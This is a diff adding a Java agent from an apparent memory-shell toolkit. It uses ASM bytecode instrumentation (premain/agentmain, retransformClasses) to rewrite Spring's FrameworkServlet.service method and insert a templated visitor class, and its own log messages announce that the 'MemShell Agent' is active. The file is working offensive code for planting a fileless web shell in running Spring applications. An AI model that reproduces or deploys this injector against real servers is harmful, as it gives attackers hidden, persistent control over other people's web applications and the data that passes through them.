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| 1 | +package com.reajason.javaweb.memshell.springwebmvc.injector; |
| 2 | + |
| 3 | +import org.objectweb.asm.*; |
| 4 | + |
| 5 | +import java.lang.instrument.ClassFileTransformer; |
| 6 | +import java.lang.instrument.Instrumentation; |
| 7 | +import java.lang.reflect.Constructor; |
| 8 | +import java.security.ProtectionDomain; |
| 9 | + |
| 10 | +/** |
| 11 | + * @author ReaJason |
| 12 | + * @since 2025/3/26 |
| 13 | + */ |
| 14 | +public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer { |
| 15 | + private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet"; |
| 16 | + private static final String TARGET_METHOD_NAME = "service"; |
| 17 | + |
| 18 | + static Constructor<?> constructor = null; |
| 19 | + |
| 20 | + static { |
| 21 | + try { |
| 22 | + Class<?> clazz = Class.forName(getClassName()); |
| 23 | + constructor = clazz.getConstructors()[0]; |
| 24 | + constructor.setAccessible(true); |
| 25 | + } catch (Exception e) { |
| 26 | + e.printStackTrace(); |
| 27 | + } |
| 28 | + } |
| 29 | + |
| 30 | + public SpringWebMvcFrameworkServletAgentWithAsmInjector() { |
| 31 | + } |
| 32 | + |
| 33 | + @Override |
| 34 | + public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, |
| 35 | + ProtectionDomain protectionDomain, byte[] bytes) { |
| 36 | + if (TARGET_CLASS.equals(className)) { |
| 37 | + try { |
| 38 | + ClassReader cr = new ClassReader(bytes); |
| 39 | + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { |
| 40 | + @Override |
| 41 | + protected ClassLoader getClassLoader() { |
| 42 | + return loader; |
| 43 | + } |
| 44 | + }; |
| 45 | + ClassVisitor cv = getClassVisitor(cw); |
| 46 | + cr.accept(cv, ClassReader.EXPAND_FRAMES); |
| 47 | + return cw.toByteArray(); |
| 48 | + } catch (Exception e) { |
| 49 | + e.printStackTrace(); |
| 50 | + } |
| 51 | + } |
| 52 | + return bytes; |
| 53 | + } |
| 54 | + |
| 55 | + public static String getClassName() { |
| 56 | + return "{{advisorName}}"; |
| 57 | + } |
| 58 | + |
| 59 | + public static ClassVisitor getClassVisitor(ClassVisitor cv) { |
| 60 | + return new ClassVisitor(Opcodes.ASM9, cv) { |
| 61 | + @Override |
| 62 | + public MethodVisitor visitMethod(int access, String name, String descriptor, |
| 63 | + String signature, String[] exceptions) { |
| 64 | + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); |
| 65 | + if (TARGET_METHOD_NAME.equals(name)) { |
| 66 | + try { |
| 67 | + Type[] argumentTypes = Type.getArgumentTypes(descriptor); |
| 68 | + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); |
| 69 | + } catch (Exception e) { |
| 70 | + e.printStackTrace(); |
| 71 | + } |
| 72 | + } |
| 73 | + return mv; |
| 74 | + } |
| 75 | + }; |
| 76 | + } |
| 77 | + |
| 78 | + public static void premain(String args, Instrumentation inst) throws Exception { |
| 79 | + launch(inst); |
| 80 | + } |
| 81 | + |
| 82 | + public static void agentmain(String args, Instrumentation inst) throws Exception { |
| 83 | + launch(inst); |
| 84 | + } |
| 85 | + |
| 86 | + private static void launch(Instrumentation inst) throws Exception { |
| 87 | + System.out.println("MemShell Agent is starting"); |
| 88 | + inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true); |
| 89 | + for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) { |
| 90 | + String name = allLoadedClass.getName(); |
| 91 | + if (TARGET_CLASS.replace("/", ".").equals(name)) { |
| 92 | + inst.retransformClasses(allLoadedClass); |
| 93 | + } |
| 94 | + } |
| 95 | + System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); |
| 96 | + } |
| 97 | +} |
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